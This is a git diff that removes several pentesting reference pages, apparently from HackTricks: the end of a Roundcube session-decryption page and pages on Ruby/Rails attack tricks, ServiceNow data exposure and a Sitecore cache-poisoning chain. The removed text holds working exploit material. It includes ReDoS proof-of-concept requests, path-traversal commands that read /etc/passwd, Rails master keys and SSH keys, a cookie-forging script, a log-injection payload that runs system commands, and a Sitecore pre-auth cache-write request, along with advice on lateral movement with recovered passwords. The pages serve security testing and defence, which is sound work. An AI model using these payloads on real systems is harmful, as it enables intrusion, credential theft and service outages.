-3) Locate the password field
-
-A quick way to spot the credential inside the decrypted structure is to first Base64‑decode the vars field and eyeball serialized entries:
-
-```bash
-echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password
-```
-
-4) Decrypt using Roundcube’s helper
-
-Roundcube ships a CLI that uses the same rcmail->decrypt() logic and the configured des_key:
-
-```bash
-cd /var/www/html/roundcube
-./bin/decrypt.sh CIPHERTEXT_BASE64
-# -> prints plaintext
-```
-
-5) Manual 3DES-CBC decryption (optional)
-
-- Ciphertext format: Base64( IV(8B) || CT )
-- Alg: 3DES-CBC, key length 24B, PKCS#7 padding
-
-```python
-from base64 import b64decode
-iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
-iv, ct = iv_ct[:8], iv_ct[8:]
-print(iv.hex(), ct.hex())
-# decrypt(ct) with key = $config['des_key'], IV = iv
-```
-
-Common locations
-- DB table: session (users table maps login names to IDs)
-- Config path: /var/www/html/roundcube/config/config.inc.php
-
-Operational use
-- Older session rows often contain prior users’ IMAP passwords; decrypt multiple entries to laterally move into other mailboxes
-- Try recovered credentials against SSH or other services if credential reuse is suspected
-
-## References
-
-- [Roundcube security updates 1.6.11 and 1.5.10](https://roundcube.net/news/2025/06/01/security-updates-1.6.11-and-1.5.10)
-- [CVE-2025-49113 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2025-49113)
-- [FearsOff research notes on Roundcube deserialization/RCE](https://fearsoff.org/research/roundcube)
-- [hakaioffsec/CVE-2025-49113-exploit (PoC)](https://github.com/hakaioffsec/CVE-2025-49113-exploit)
-- [Roundcube bin/decrypt.sh helper](https://raw.githubusercontent.com/roundcube/roundcubemail/master/bin/decrypt.sh)
-- [HTB Outbound – 0xdf write‑up (Roundcube 1.6.10 → RCE → session decrypt pivot)](https://0xdf.gitlab.io/2025/11/15/htb-outbound.html)
-
-{{#include ../../banners/hacktricks-training.md}}
\ No newline at end of file
diff --git a/src/network-services-pentesting/pentesting-web/ruby-tricks.md b/src/network-services-pentesting/pentesting-web/ruby-tricks.md
deleted file mode 100644
index 68f8c0fd968..00000000000
--- a/src/network-services-pentesting/pentesting-web/ruby-tricks.md
+++ /dev/null
@@ -1,356 +0,0 @@
-# Ruby Tricks
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## File upload to RCE
-
-As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
-
-Tips:
-- Other boot/eager-load locations that are executed on app start are also risky when writeable (e.g., `config/initializers/` is the classic one). If you find an arbitrary file upload that lands anywhere under `config/` and is later evaluated/required, you may obtain RCE at boot.
-- Look for dev/staging builds that copy user-controlled files into the container image where Rails will load them on boot.
-
-## Active Storage image transformation → command execution (CVE-2025-24293)
-
-When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.
-
-- A vulnerable pattern looks like:
-  ```erb
-  <%= image_tag blob.variant(params[:t] => params[:v]) %>
-  ```
-  where `params[:t]` and/or `params[:v]` are attacker-controlled.
-
-- What to try during testing
-  - Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
-  - Fuzz `params[:t]` and `params[:v]` for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host.
-  - If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.
-
-- Remediation/detections
-  - If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + `image_processing` + `mini_magick` and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.
-
-## Rack::Static LFI / path traversal (CVE-2025-27610)
-
-If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root.
-
-- Hunt for apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example:
-  ```text
-  GET /assets/%2e%2e/%2e%2e/config/database.yml
-  GET /favicon.ico/..%2f..%2f.env
-  ```
-  Adjust the prefix to match configured `urls:`. If the app responds with file contents, you likely have LFI to anything under the resolved `:root`.
-
-- Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set.
-
-## Rack multipart parser ReDoS / request smuggling (CVE-2024-25126)
-
-Rack < `3.0.9.1` and < `2.2.8.1` spent super-linear time parsing crafted `Content-Type: multipart/form-data` headers. A single POST with a gigantic `A=` parameter list can peg a Puma/Unicorn worker and cause DoS or request queue starvation.
-
-- Quick PoC (will hang one worker):
-  ```bash
-  python - <<'PY'
-import requests
-h = {'Content-Type': 'multipart/form-data; ' + 'A='*5000}
-requests.post('http://target/', data='x', headers=h)
-PY
-  ```
-- Works against any Rack-based stack (Rails/Sinatra/Hanami/Grape). If fronted by nginx/haproxy with keep-alive, repeat in parallel to exhaust workers.
-- Patched by making parser linear; look for `rack` gem version < `3.0.9.1` or < `2.2.8.1`. In assessments, point out that WAFs rarely block this because the header is syntactically valid.
-
-## REXML XML parser ReDoS (CVE-2024-49761)
-
-The REXML gem < 3.3.9 (Ruby 3.1 and earlier) catastrophically backtracks when parsing hex numeric character references containing long digit runs (e.g., `&#1111111111111x41;`). Any XML processed by REXML or libraries that wrap it (SOAP/XML API clients, SAML, SVG uploads) can be abused for CPU exhaustion.
-
-Minimal trigger against a Rails endpoint that parses XML:
-```bash
-curl -X POST http://target/xml -H 'Content-Type: application/xml' \
-  --data '<?xml version="1.0"?><r>&#11111111111111111111111111x41;</r>'
-```
-If the process stays busy for seconds and worker CPU spikes, it is likely vulnerable. Attack is low bandwidth and affects background jobs that ingest XML as well.
-
-## CGI cookie parsing / escapeElement ReDoS (CVE-2025-27219 & CVE-2025-27220)
-
-Apps using the `cgi` gem (default in many Rack stacks) can be frozen with a single malicious header:
-- `CGI::Cookie.parse` was super-linear; huge cookie strings (thousands of delimiters) trigger O(N²) behavior.
-- `CGI::Util#escapeElement` regex allowed ReDoS on HTML escaping.
-
-Both issues are fixed in `cgi` 0.3.5.1 / 0.3.7 / 0.4.2. For pentests, drop a massive `Cookie:` header or feed untrusted HTML to helper code and watch for worker lockup. Combine with keep-alive to amplify.
-
-## Basecamp `googlesign_in` open redirect / cookie flash leak (CVE-2025-57821)
-
-The `googlesign_in` gem < 1.3.0 (used for Google OAuth on Rails) performed an incomplete same-origin check on the `proceedto` parameter. A malformed URL like `proceedto=//attacker.com/%2F..` bypasses the check and redirects the user off-site while preserving Rails flash/session cookies.
-
-Exploit flow:
-1. Victim clicks crafted Google Sign-In link hosted by attacker.
-2. After authentication, the gem redirects to attacker-controlled domain, leaking flash notices or any data stored in cookies scoped to the wildcard domain.
-3. If the app stores short-lived tokens or magic links in flash, this can be turned into account takeover.
-
-During testing, grep Gemfile.lock for `googlesign_in` < 1.3.0 and try malformed `proceedto` values. Confirm via Location header and cookie reflection.
-
-
-## Rails nested mass assignment via `permit!` on a sub-object
-
-A common Rails footgun is calling `update()` on a nested parameter object after `permit!`, for example:
-
-```ruby
-def updated_ajax
-  @user.update(params.require(:password).permit!)
-end
-```
-
-If the route is supposed to only accept `password[password]` and `password[password_confirmation]`, an attacker can often add privileged attributes under the **same prefix**:
-
-```http
-POST /admin/users/5/updated_ajax HTTP/1.1
-Content-Type: application/x-www-form-urlencoded
-
-_method=patch&password[password]=NewPass123!&password[password_confirmation]=NewPass123!&password[role]=admin
-```
-
-Because `permit!` marks every nested key as permitted, `update()` applies all attacker-controlled fields (`role`, `is_admin`, `status`, `user_group_id`, `owner_id`, etc.). During testing:
-
-- Find self-service update endpoints that accept nested params such as `user[...]`, `profile[...]`, `password[...]`, `account[...]`.
-- Check whether the controller passes that entire object into `update`, `update_attributes`, or similar.
-- Replay the legitimate request and append privileged attributes under the same nested key.
-
-This is still **mass assignment**, but in Rails apps it often hides in “safe-looking” strong-parameter code because the dangerous call is `permit!` on a nested object rather than direct `params[:user]` binding.
-
-## Camaleon CMS admin panel → MinIO / S3 pivot
-
-If Rails/CMS admin access exposes **filesystem/storage settings**, treat it as a credential-recovery surface. In Camaleon deployments using S3-compatible storage, the admin UI may reveal:
-
-- endpoint URL
-- access key / secret key
-- region
-- bucket names
-
-With those values, enumerate the object store directly:
-
-```bash
-aws configure --profile target
-aws configure set endpoint_url http://target:54321 --profile target
-AWS_PROFILE=target aws s3 ls
-AWS_PROFILE=target aws s3 ls s3://internal/
-```
-
-S3-compatible backends such as **MinIO** are easy to fingerprint from XML error responses and `x-amz-*` / `Server: MinIO` headers. Once valid credentials are recovered, check buckets for dotfiles, SSH keys, app source, backups, and deployment secrets.
-
-## Camaleon private-media download path traversal on S3/AWS backends
-
-Camaleon's private-media download flow has had traversal issues where the controller prepends a fixed prefix and forwards attacker-controlled input to the uploader backend:
-
-```ruby
-file = cama_uploader.fetch_file("private/#{params[:file]}")
-send_file file, disposition: 'inline'
-```
-
-If the configured uploader backend does **not** canonicalize and validate the resulting path, any authenticated user may read arbitrary files with traversal sequences:
-
-```bash
-curl -s 'http://target/admin/media/download_private_file?file=../../../etc/passwd' -b cookie.jar
-curl -s 'http://target/admin/media/download_private_file?file=../../../config/master.key' -b cookie.jar
-curl -s 'http://target/admin/media/download_private_file?file=../../../home/app/.ssh/id_ed25519' -b cookie.jar
-```
-
-Interesting Rails targets after confirming file read:
-
-- `config/master.key`
-- `config/credentials.yml.enc`
-- `config/database.yml`
-- `config/storage.yml`
-- service files / nginx configs that reveal the runtime user and working directory
-- SSH material readable by the Rails process user
-
-For Camaleon specifically, this bug resurfaced on the AWS/S3 uploader as an **incomplete fix bypass**: the local uploader added path validation, but the S3 uploader did not. When reviewing similar fixes, always compare **every storage backend** instead of only the default/local implementation.
-
-## Forging/decrypting Rails cookies when `secret_key_base` is leaked
-
-Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
-
-If you only have an authenticated file-read primitive, try to recover `config/master.key` first and then decrypt `config/credentials.yml.enc` to extract `secret_key_base`. In many apps this is the shortest path from LFI/path traversal to cookie decryption and session forgery.
-
-Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
-
-<details>
-<summary>Ruby to decrypt/forge cookies</summary>
-
-```ruby
-require 'cgi'
-require 'json'
-require 'active_support'
-require 'active_support/message_encryptor'
-require 'active_support/key_generator'
-
-secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
-raw_cookie = CGI.unescape(ARGV[0])
-
-salt   = 'authenticated encrypted cookie'
-cipher = 'aes-256-gcm'
-key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
-secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
-enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
-
-plain = enc.decrypt_and_verify(raw_cookie)
-puts "Decrypted: #{plain.inspect}"
-
-# Modify and re-encrypt (example: escalate role)
-plain['role'] = 'admin' if plain.is_a?(Hash)
-forged = enc.encrypt_and_sign(plain)
-puts "Forged cookie: #{CGI.escape(forged)}"
-```
-
-</details>
-Notes:
-- Older apps may use AES-256-CBC and salts `encrypted cookie` / `signed encrypted cookie`, or JSON/Marshal serializers. Adjust salts, cipher, and serializer accordingly.
-- On compromise/assessment, rotate `secret_key_base` to invalidate all existing cookies.
-
-## Forging Rails signed IDs / SGIDs when `secret_key_base` is leaked
-
-Beyond cookies, Rails also uses `ActiveSupport::MessageVerifier` for attacker-relevant tokens such as `record.signed_id`, `ActiveStorage::Blob#signed_id`, and Signed Global IDs (`to_sgid`). If `secret_key_base` leaks, every endpoint that later calls `find_signed`, `find_signed!`, `GlobalID::Locator.locate_signed`, or `ActiveStorage::Blob.find_signed!` becomes interesting. Most real-world impact starts as an IDOR/authz bug (swapping the referenced object), and only becomes RCE if the located object is later passed into an unsafe sink.
-
-What to hunt for:
-- Params or hidden fields named `signed_id`, `sgid`, `attachable_sgid`, `blob_signed_id`, `signed_blob_id`, `record_gid`, etc.
-- Direct-upload and Action Text/Trix flows where the browser submits blob references before the final form submission.
-- Source patterns such as:
-  ```bash
-  rg -n "find_signed!?\(|locate_signed\(|signed_id\(|to_sgid\(|purpose:|for:" app config lib
-  ```
-- Exact verifier scopes/purposes like:
-  ```ruby
-  User.find_signed(token, purpose: :password_reset)
-  ActiveStorage::Blob.find_signed!(token, purpose: :blob_id)
-  GlobalID::Locator.locate_signed(token, for: 'sharing')
-  ```
-
-Useful notes during exploitation:
-- `ActiveRecord::SignedId` **does not expire by default**. Signed Global IDs in Rails **expire after 1 month by default** unless the app overrides `Rails.application.config.global_id.expires_in`.
-- The `purpose` / `for:` scope must match. A leaked `secret_key_base` is not enough if you guess the wrong verifier context.
-- `MessageVerifier` supports rotated old secrets/digests/serializers. If the app still accepts fallbacks via `rotate(...)`, an **older** leaked secret may remain valid for minting tokens.
-- Common offensive targets are password-reset tokens, invitation flows, permanent attachment/blob references, and any hidden field that resolves a server-side object without re-checking authorization.
-
-Quick Rails-console examples when you have app code or a foothold:
-```ruby
-user.signed_id(purpose: :password_reset, expires_in: 15.minutes)
-blob.signed_id(purpose: :blob_id)
-doc.to_sgid(for: 'sharing', expires_in: 2.hours).to_s
-```
-
-## See also (Ruby/Rails-specific vulns)
-
-- Ruby deserialization and class pollution:
-  {{#ref}}
-  ../../pentesting-web/deserialization/README.md
-  {{#endref}}
-  {{#ref}}
-  ../../pentesting-web/deserialization/ruby-class-pollution.md
-  {{#endref}}
-  {{#ref}}
-  ../../pentesting-web/deserialization/ruby-_json-pollution.md
-  {{#endref}}
-- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
-  {{#ref}}
-  ../../pentesting-web/ssti-server-side-template-injection/README.md
-  {{#endref}}
-
-
-## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
-
-When an app (often a simple Rack/Sinatra/Rails endpoint) both:
-- logs a user-controlled string verbatim, and
-- later `load`s a file whose path is derived from that same string (after `Pathname#cleanpath`),
-
-You can often achieve remote code execution by poisoning the log and then coercing the app to `load` the log file. Key primitives:
-
-- Ruby `load` evaluates the target file content as Ruby regardless of file extension. Any readable text file whose contents parse as Ruby will be executed.
-- `Pathname#cleanpath` collapses `.` and `..` segments without hitting the filesystem, enabling path smuggling: attacker-controlled junk can be prepended for logging while the cleaned path still resolves to the intended file to execute (e.g., `../logs/error.log`).
-
-### Real-world poison source: `Rack::CommonLogger` (CVE-2025-25184)
-
-Before `rack` 2.2.11 / 3.0.12 / 3.1.10, `Rack::CommonLogger` could write attacker-controlled newlines from `env['REMOTE_USER']` into the access log. In practice this matters when the target uses `Rack::Auth::Basic` or otherwise copies a user-controlled identifier into `REMOTE_USER`, and usernames are allowed to contain CR/LF or other log-breaking bytes.
-
-This is usually *just* log poisoning, but it becomes much more interesting when chained with the `load`-the-log pattern below, log processors that parse/execute content, or admin workflows that inspect logs in vulnerable terminals.
-
-Quick checks:
-- Register or authenticate with a username containing `\r\nFAKELOG` and hit an endpoint that is known to be logged by Rack middleware.
-- Review access logs (or visible downstream effects) for split lines, forged entries, or parser crashes.
-- If you already found a later sink such as `load ../logs/error.log`, `eval File.read(...)`, or a custom job that replays log content, `CommonLogger` gives you a realistic way to plant the payload.
-
-### Minimal vulnerable pattern
-
-```ruby
-require 'logger'
-require 'pathname'
-
-logger   = Logger.new('logs/error.log')
-param    = CGI.unescape(params[:script])
-path_obj = Pathname.new(param)
-
-logger.info("Running backup script #{param}")            # Raw log of user input
-load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath
-```
-
-### Why the log can contain valid Ruby
-`Logger` writes prefix lines like:
-```
-I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>
-```
-In Ruby, `#` starts a comment and `9/2/2025` is just arithmetic. To inject valid Ruby code you need to:
-- Begin your payload on a new line so it is not commented out by the `#` in the INFO line; send a leading newline (`\n` or `%0A`).
-- Close the dangling `[` introduced by the INFO line. A common trick is to start with `]` and optionally make the parser happy with `][0]=1`.
-- Then place arbitrary Ruby (e.g., `system(...)`).
-
-Example of what will end up in the log after one request with a crafted param:
-```
-I, [9/2/2025 #209384]  INFO -- : Running backup script
-][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
-```
-
-### Smuggling a single string that both logs code and resolves to the log path
-We want one attacker-controlled string that:
-- when logged raw, contains our Ruby payload, and
-- when passed through `Pathname.new(<input>).cleanpath`, resolves to `../logs/error.log` so the subsequent `load` executes the just-poisoned log file.
-
-`Pathname#cleanpath` ignores schemes and collapses traversal components, so the following works:
-```ruby
-require 'pathname'
-
-p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
-puts p.cleanpath   # => ../logs/error.log
-```
-- The `#` before `://` ensures Ruby ignores the tail when the log is executed, while `cleanpath` still reduces the suffix to `../logs/error.log`.
-- The leading newline breaks out of the INFO line; `]` closes the dangling bracket; `][0]=1` satisfies the parser.
-
-### End-to-end exploitation
-1. Send the following as the backup script name (URL-encode the first newline as `%0A` if needed):
-   ```
-   \n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
-   ```
-2. The app logs your raw string into `logs/error.log`.
-3. The app computes `cleanpath` which resolves to `../logs/error.log` and calls `load` on it.
-4. Ruby executes the code you injected in the log.
-
-To exfiltrate a file in a CTF-like environment:
-```
-\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
-```
-URL-encoded PoC (first char is a newline):
-```
-%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
-```
-
-## References
-
-- [Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1)](https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670)
-- [0xdf – HTB: Facts](https://0xdf.gitlab.io/2026/06/06/htb-facts.html)
-- [GitLab Advisory Database – CVE-2025-2304 Camaleon CMS mass assignment](https://advisories.gitlab.com/pkg/gem/camaleon_cms/CVE-2025-2304/)
-- [NVD – CVE-2026-1776 Camaleon CMS AWS uploader path traversal](https://nvd.nist.gov/vuln/detail/CVE-2026-1776)
-- [GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610)](https://github.com/advisories/GHSA-7wqh-767x-r66v)
-- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
-- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
-- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
-- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
-- [Rack multipart ReDoS advisory (CVE-2024-25126)](https://www.cve.news/cve-2024-25126/)
-- [Ruby security advisories for CGI / URI (CVE-2025-27219/27220/27221)](https://www.ruby-lang.org/en/news/2025/02/26/security-advisories/)
-- [GitHub Advisory: Possible Log Injection in Rack::CommonLogger (CVE-2025-25184)](https://github.com/advisories/GHSA-7g2v-jj9q-g3rg)
-- [Rails GlobalID README (Signed Global IDs, purpose, expiry)](https://github.com/rails/globalid)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/servicenow.md b/src/network-services-pentesting/pentesting-web/servicenow.md
deleted file mode 100644
index 0a3133d90be..00000000000
--- a/src/network-services-pentesting/pentesting-web/servicenow.md
+++ /dev/null
@@ -1,124 +0,0 @@
-# ServiceNow
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Quick notes
-
-Useful paths during recon:
-
-- `/login.do`
-- `/api/now/sp/widget/<widget_id>`
-- `/api/now/table/<table_name>`
-- `/stats.do`
-
-The important ServiceNow mistake is usually **not a single CVE**, but **public or weak ACLs** on one surface while the other surface stays reachable. Always test **widgets** and the **Table REST API** independently.
-
-## Bootstrap an unauthenticated session
-
-ServiceNow commonly issues a usable **anonymous session** before authentication. Request `/login.do`, keep the cookies (for example `JSESSIONID`), and extract the `g_ck` value used as `X-UserToken`. Reuse that anonymous session for every probe.
-
-If `/login.do` immediately redirects to SSO/IdP, anonymous bootstrapping may fail, but still inspect the redirect flow (`oauth_redirect.do`) in Burp because some deployments still leak a usable cookie/token pair there.
-
-## Treat Service Portal widgets as backend APIs
-
-A public widget is also a **JSON API**. Call it directly instead of navigating the portal UI:
-
-```http
-POST /api/now/sp/widget/WIDGET_ID HTTP/1.1
-Host: target.service-now.com
-X-UserToken: <public_g_ck>
-Cookie: JSESSIONID=<public_session>
-Content-Type: application/json
-
-{"payload":{"start":0,"end":1}}
-```
-
-Interesting built-in widgets to probe:
-
-- `ticket-attachments`
-- `kb-article-page`
-- `kb-search`
-- `kb-category-list`
-- `sc-category`
-- `widget-simple-list`
-
-Don't stop at defaults. Mature instances often contain **custom widgets** with organization-specific ACL assumptions, so enumerate installed widget IDs and test them with the same anonymous session.
-
-## Abuse `widget-simple-list` as a table oracle
-
-If `widget-simple-list` is public, it can become a **generic table-query primitive**. The attacker supplies a table (`t`) and optionally a display field (`f`), while the widget queries backend records with the permissions of the anonymous session.
-
-```http
-POST /api/now/sp/widget/widget-simple-list?t=incident&f=number HTTP/1.1
-Host: target.service-now.com
-X-UserToken: <public_g_ck>
-Cookie: JSESSIONID=<public_session>
-Content-Type: application/json
-```
-
-Use curated and environment-specific table/field pairs such as:
-
-- `sys_user.email`
-- `incident.number`
-- `kb_knowledge.short_description`
-- `cmn_department.name`
-- `oauth_entity.name`
-
-If `display_value` is `null` but the widget still reports a positive count, treat it as a signal that the **table is reachable** and the chosen field is the wrong one or field-level ACLs differ.
-
-## Test the Table REST API separately
-
-Widget ACLs and REST ACLs are **independent**. A target may block widget access but still expose rows through `/api/now/table/*`:
-
-```bash
-curl -s 'https://target.service-now.com/api/now/table/sys_user?sysparm_limit=1' \
-  -H 'X-UserToken: <public_g_ck>' \
-  -H 'Cookie: JSESSIONID=<public_session>'
-```
-
-Prioritize high-value tables such as `sys_user`, `incident`, `kb_knowledge`, `sc_cat_item`, `cmn_department`, `cmdb_ci`, and `oauth_entity`.
-
-## Count-only responses are blind inference oracles
-
-If ServiceNow refuses to return rows but still reveals **how many records matched** attacker-controlled filters, you have a **count oracle**, not a clean denial. Vary `filterText`, prefixes, or boolean predicates and compare counts to infer protected data incrementally.
-
-Treat this as **blind data inference**, not direct row disclosure. Report the oracle separately from full record exposure.
-
-## `snowpick`
-
-[`snowpick`](https://github.com/BishopFox/snowpick) automates the anonymous-session bootstrap, widget discovery, `widget-simple-list` table enumeration, and optional Table REST API probing.
-
-```bash
-go install github.com/BishopFox/snowpick@latest
-snowpick -target target.service-now.com
-snowpick -target target.service-now.com -table-api
-snowpick -target target.service-now.com -discover -discover-limit 200
-snowpick -targets hosts.txt -concurrency 5 -proxy http://127.0.0.1:8080 -rate 200ms
-```
-
-Useful behaviors:
-
-- Distinguishes **`exposed`** rows from **`count_oracle`** findings
-- Preserves **bounded evidence** (`record_count`, small samples, reproducible request details)
-- Flags public `/stats.do` access
-- Supports JSON output for triage and replay
-
-## Detection / validation notes
-
-From a defender or purple-team perspective, review logs for:
-
-- Anonymous requests to `/api/now/sp/widget/*`
-- Anonymous requests to `/api/now/table/*`
-- Systematic variation of `t`, `f`, table names, field names, or `filterText`
-- Public access to `/stats.do`
-
-When validating impact, prefer **bounded evidence**: keep the total count, a minimal sample, and a reproducible request instead of bulk-exporting every accessible row.
-
-## References
-
-- [Bishop Fox - Introducing snowpick: Testing ServiceNow for Public Data Exposure](https://bishopfox.com/blog/introducing-snowpick-testing-servicenow-for-public-data-exposure)
-- [BishopFox/snowpick](https://github.com/BishopFox/snowpick)
-- [Data Exposure and ServiceNow: The Elephant in the ITSM Room](https://www.enumerated.ie/servicenow-data-exposure)
-- [Varonis - Count(er) Strike: Data Inference Vulnerability in ServiceNow](https://www.varonis.com/blog/counter-strike-servicenow)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/sitecore/README.md b/src/network-services-pentesting/pentesting-web/sitecore/README.md
deleted file mode 100644
index e6fb1355870..00000000000
--- a/src/network-services-pentesting/pentesting-web/sitecore/README.md
+++ /dev/null
@@ -1,222 +0,0 @@
-# Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-This page summarises a practical attack chain against Sitecore XP 10.4.1 that pivots from a pre‑auth XAML handler to HTML cache poisoning and, via an authenticated UI flow, to RCE through BinaryFormatter deserialization. The techniques generalise to similar Sitecore versions/components and provide concrete primitives to test, detect, and harden.
-
-- Affected product tested: Sitecore XP 10.4.1 rev. 011628
-- Fixed in: KB1003667, KB1003734 (June/July 2025)
-
-See also:
-
-{{#ref}}
-../../../pentesting-web/cache-deception/README.md
-{{#endref}}
-
-{{#ref}}
-../../../pentesting-web/deserialization/README.md
-{{#endref}}
-
-## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
-
-Entrypoint is the pre‑auth XAML handler registered in web.config:
-
-```xml
-<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
-```
-
-Accessible via:
-
-```
-GET /-/xaml/Sitecore.Shell.Xaml.WebControl
-```
-
-The control tree includes AjaxScriptManager which, on event requests, reads attacker‑controlled fields and reflectively invokes methods on targeted controls:
-
-```csharp
-// AjaxScriptManager.OnPreRender
-string clientId = page.Request.Form["__SOURCE"];      // target control
-string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
-...
-Dispatch(clientId, text);
-
-// eventually → DispatchMethod(control, parameters)
-MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
-if (m != null) m.Invoke(this, e.Parameters);
-
-// Alternate branch for XML-based controls
-if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
-```
-
-Key observation: the XAML page includes an XmlControl instance (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl derives from Sitecore.Web.UI.WebControl (a Sitecore class), which passes the ReflectionUtil.Filter allow‑list (Sitecore.*), unlocking methods on Sitecore WebControl.
-
-Magic method for poisoning:
-
-```csharp
-// Sitecore.Web.UI.WebControl
-protected virtual void AddToCache(string cacheKey, string html) {
-  HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
-  if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
-}
-```
-
-Because we can target xmlcontrol:GlobalHeader and call Sitecore.Web.UI.WebControl methods by name, we get a pre‑auth arbitrary HtmlCache write primitive.
-
-### PoC request (CVE-2025-53693)
-
-```
-POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
-Host: target
-Content-Type: application/x-www-form-urlencoded
-
-__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
-```
-
-Notes:
-- __SOURCE is the clientID of xmlcontrol:GlobalHeader within Sitecore.Shell.Xaml.WebControl (commonly stable like ctl00_ctl00_ctl05_ctl03 as it’s derived from static XAML).
-- __PARAMETERS format is Method("arg1","arg2").
-
-## What to poison: Cache key construction
-
-Typical HtmlCache key construction used by Sitecore controls:
-
-```csharp
-public virtual string GetCacheKey(){
-  SiteContext site = Sitecore.Context.Site;
-  if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
-    string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
-    if (key.Length > 0){
-      string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
-      if (this.VaryByData)        k += ResolveDataKeyPart();
-      if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
-      if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
-      if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
-      if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
-      if (this.VaryByQueryString && site?.Request != null)
-                                   k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
-      if (this.ClearOnIndexUpdate) k += "_#index";
-      return k;
-    }
-  }
-  return string.Empty;
-}
-```
-
-Example targeted poisoning for a known sublayout:
-
-```
-__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
-```
-
-## Enumerating cacheable items and “vary by” dimensions
-
-If the ItemService is (mis)exposed anonymously, you can enumerate cacheable components to derive exact keys.
-
-Quick probe:
-
-```
-GET /sitecore/api/ssc/item
-// 404 Sitecore error body → exposed (anonymous)
-// 403 → blocked/auth required
-```
-
-List cacheable items and flags:
-
-```
